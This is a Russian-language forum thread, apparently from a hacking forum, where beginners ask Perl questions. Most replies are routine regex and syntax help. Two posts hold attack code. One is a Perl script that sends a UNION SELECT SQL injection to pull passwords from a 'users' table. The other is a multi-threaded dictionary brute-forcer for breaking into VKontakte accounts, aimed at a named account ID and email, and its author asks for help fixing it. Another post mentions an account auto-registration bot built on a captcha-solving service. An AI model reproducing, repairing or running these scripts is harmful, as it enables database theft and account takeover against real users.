[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    Код весь выкладывай...
     
  2. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    use LWP::UserAgent;
    print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
    chomp(my $target=<STDIN>);
    $tab="users";
    $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
    $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
    $host = $target ."mynews.php?id=1+union+select+password+from+".$tab."/*";
    $res = $b->request(HTTP::Request->new(GET=>$host));
    $answer = $res->content;
    print "\n[+] information : $answer\n\n";
     
  3. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    Мммммм... поступим проще.. Напиши url страницы, с которой нужно получить контент...
     
  4. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    use LWP::UserAgent;
    print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
    chomp(my $target=<STDIN>);
    $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
    $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
    $host = $target ."/showthread.php?p=2067931#post2067931";
    $res = $b->request(HTTP::Request->new(GET=>$host));
    $answer = $res->content;
    print "\n[+] information : $answer\n\n";

    вводим forum.antichat.ru
     
  5. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    forum.antichat.ru
     
  6. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    все чувак пащет оказывается =))) спасибо

    use LWP::UserAgent;
    print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
    chomp(my $target=<STDIN>);
    $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
    $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
    $host = $target ."/mynews.php?id=1+union+select+password+from+users/*";
    $res = $b->request(HTTP::Request->new(GET=>$host));
    $answer = $res->content;

    print "\n[+] Information : $answer\n\n";
     
  7. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    надо регулярные выражения позубрить=)))
     
  8. L!S

    L!S New Member

    Joined:
    13 Apr 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    }{@I{er'Ы
    Найдите пожалуйста ошибку в скрипте PERL(для взлома стрпниц вконтакте)

    #!/usr/bin/perl

    use IO::Socket;
    use MD5;
    use threads;
    use threads::shared;
    my @pass : shared;

    ######################################
    # C!klodoL
    # vkontakte.ru bruteforce with multi-threads
    ######################################
    $dic = 'passl.txt'; #словарь паролей
    $id = 64827412; #id цели
    $mail = 'ilya-seleznev%40mail.ru'; #мыло, вместо @ вписать %40
    $threads = 4; #количество потоков
    ######################################

    open (pass, "<$dic");

    Next:
    @pass = pass();

    for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
    for(@trl) { $_->join; }

    sub Brut
    {

    while (@pass){

    $pass = shift @pass;

    $md5 = MD5->hexhash($pass);
    $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
    print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
    "Host: vkontakte.ru\r\n".
    "Accept: */*\r\n".
    "Content-Type: application/x-www-form-urlencoded\r\n".
    "User-Agent: Mozillo\r\n".
    "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
    "Connection: close\r\n\r\n";
    $answ = <$sock>;
    close $sock;
    print "$pass $answ";
    if ($answ =~ /302/){
    open (good, '>>good.txt');
    print good "$id:$pass:$md5\n";
    print "$id:$pass:$md5\n";
    close good;
    exit;}
    }
    }
    goto Next;
    sub pass
    {
    my (@mas);
    while (<pass>){
    push @mas, $_;
    last if (@mas == 400);
    }
    chomp @mas;
    return @mas;
    }


    ато у меня не сохраняются правильный пороль в good.txt
     
  9. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Всем привет.
    Помогите составить регулярное выражение
    <b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>
    Нужно, чтобы ТЕКСТ1 вернуло.
     
  10. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    |<a.+?>(.+?)</a>|
     
  11. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    if($doc =~ /|<a.+?>(.+?)<\/a>|/){
    print "\n[+] $2 \n";
    }else{
    print "\nError\n";
    }
    т.е. так?
     
  12. life_glider

    life_glider Member

    Joined:
    13 Apr 2010
    Messages:
    42
    Likes Received:
    25
    Reputations:
    33
    to SeNaP:
    $doc='<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>';
    if($doc=~/>([^<]+)<\/a/)
    {
    print $1;
    }
    else
    {
    die "error"
    }
     
    1 person likes this.
  13. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Спасибо, но как сделать, чтобы
    вырезало так,
    $doc='<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">(.+)</a></b>';
    по такому шаблону.Т.е. всё что между тегами, вернуло
     
  14. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    Code:
    if ($page =~ /<b><a class=link1 href=".+?">(.+?)<.a><.b>/i) { .. };
    ошибки нету, скрипты старый. для вк и других соц. сетей есть другой раздел на этом форуме.
     
    #1494 eLWAux, 20 Apr 2010
    Last edited: 20 Apr 2010
    1 person likes this.
  15. mazaxaka

    mazaxaka Elder - Старейшина

    Joined:
    15 Feb 2008
    Messages:
    268
    Likes Received:
    35
    Reputations:
    0
    как заставить перk работать с https \ssl
     
  16. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    IO::Socket::SSL поставить
     
    _________________________
  17. Vlad&slav

    Vlad&slav Member

    Joined:
    1 Jan 2009
    Messages:
    207
    Likes Received:
    41
    Reputations:
    9
    где ошибко?
    PHP:
    # perl
    $a=3
    $b=5
    my $aaa $b%$a;
    print 
    $aaa;
    sleep (123);
     
  18. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    Результат в консоли ждёшь..?!
    Code:
    # perl 
    $a=3;  
    $b=5;  
    my $aaa = $b%$a; 
    print $aaa."\n"; 
    sleep (123); 
     
  19. Mr.Replica

    Mr.Replica Member

    Joined:
    18 May 2010
    Messages:
    124
    Likes Received:
    41
    Reputations:
    10
    Пишу авторег,не могу выставить функцию чтоб ключ AC выдирал из файла Key.txt
    PHP:
     #antigate 
    my $AC_HOST 'antigate.com'
     
    #AC key     
    my $AC_KEY 'key.txt'
    Где ошибка??
     
  20. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Ошибка вероятней всего в авторе кода, который не хочет/не может прочитать элементарный материал и уже начинает "программировать".
     
Thread Status:
Not open for further replies.